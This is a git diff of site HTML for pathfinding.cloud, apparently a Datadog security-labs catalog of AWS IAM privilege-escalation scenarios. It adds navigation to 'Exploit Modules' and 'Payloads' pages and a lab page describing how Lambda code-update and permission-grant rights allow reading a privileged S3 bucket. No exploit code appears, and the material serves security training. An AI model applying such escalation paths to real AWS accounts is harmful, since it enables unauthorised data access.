+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/lambda-004/index.html b/docs/labs/lambda-004/index.html
index d4d2a7c9..6d75916a 100644
--- a/docs/labs/lambda-004/index.html
+++ b/docs/labs/lambda-004/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/lambda-005-to-bucket/index.html b/docs/labs/lambda-005-to-bucket/index.html
new file mode 100644
index 00000000..e31b9d6b
--- /dev/null
+++ b/docs/labs/lambda-005-to-bucket/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Lambda Code Update + Permission Grant to Bucket - pathfinding.cloud Labs</title>
+    <meta name="description" content="User with lambda:UpdateFunctionCode and lambda:AddPermission can modify existing Lambda function code, grant themselves invoke permission, and read sensitive S3 bucket contents using the function&#x27;s privileged role">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/lambda-005-to-bucket/">
+    <meta property="og:title" content="Lambda Code Update + Permission Grant to Bucket - pathfinding.cloud Labs">
+    <meta property="og:description" content="User with lambda:UpdateFunctionCode and lambda:AddPermission can modify existing Lambda function code, grant themselves invoke permission, and read sensitive S3 bucket contents using the function&#x27;s privileged role">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Lambda Code Update + Permission Grant to Bucket - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="User with lambda:UpdateFunctionCode and lambda:AddPermission can modify existing Lambda function code, grant themselves invoke permission, and read sensitive S3 bucket contents using the function&#x27;s privileged role">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
